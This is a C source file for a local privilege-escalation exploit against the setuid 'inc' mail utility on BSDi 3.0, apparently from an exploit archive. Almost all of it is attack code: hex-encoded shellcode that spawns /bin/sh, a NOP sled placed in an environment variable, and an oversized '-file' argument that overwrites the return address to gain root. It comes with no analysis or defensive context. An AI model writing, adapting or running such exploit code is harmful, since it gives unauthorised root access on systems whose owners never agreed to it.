BSDi 3.0 inc Local Root Buffer Overflow Exploit

/* (BSDi)inc[mh] buffer overflow, by v9[v9@fakehalo.org]. this is will give you euid=0(root) on BSDi/3.0 systems. */ #define PATH "/usr/contrib/mh/bin/inc" /* path to inc on BSDi/3.0 */ #define BUFFER 2048 /* no need to change this. */ #define DEFAULT_OFFSET -7000 /* generalized offset. */ static char exec[]= "\xeb\x1f\x5e\x31\xc0\x89\x46\xf5\x88\x46\xfa\x89\x46\x0c" /* 14 characters. */ "\x89\x76\x08\x50\x8d\x5e\x08\x53\x56\x56\xb0\x3b\x9a\xff" /* 14 characters. */ "\xff\xff\xff\x07\xff\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e" /* 14 characters. */ "\x2f\x73\x68\x00"; /* 4 characters; 46 characters total. */ long pointer(void){__asm__("movl %esp,%eax");} int main(int argc,char **argv){ char eip[BUFFER],buf[4096]; int i,offset; long ret; printf("[ (BSDi)inc[mh]: buffer overflow, by: v9[v9@fakehalo.org]. ]\n"); if(argc>1){offset=atoi(argv[1]);} else{offset=DEFAULT_OFFSET;} ret=(pointer()-offset); eip[0]=0x01;eip[1]=0x01;eip[2]=0x01; for(i=3;i<BUFFER;i+=4){*(long *)&eip[i]=ret;} eip[BUFFER]=0x0; for(i=0;i<(4096-strlen(exec)-strlen(eip));i++){*(buf+i)=0x90;} memcpy(buf+i,exec,strlen(exec)); memcpy(buf,"EXEC=",5);putenv(buf); printf("*** [data]: return address: 0x%lx, offset: %d.\n",ret,offset); if(execlp(PATH,"inc","-file",eip,0)){ printf("*** [error]: could not execute %s successfully.\n",PATH); exit(1); } }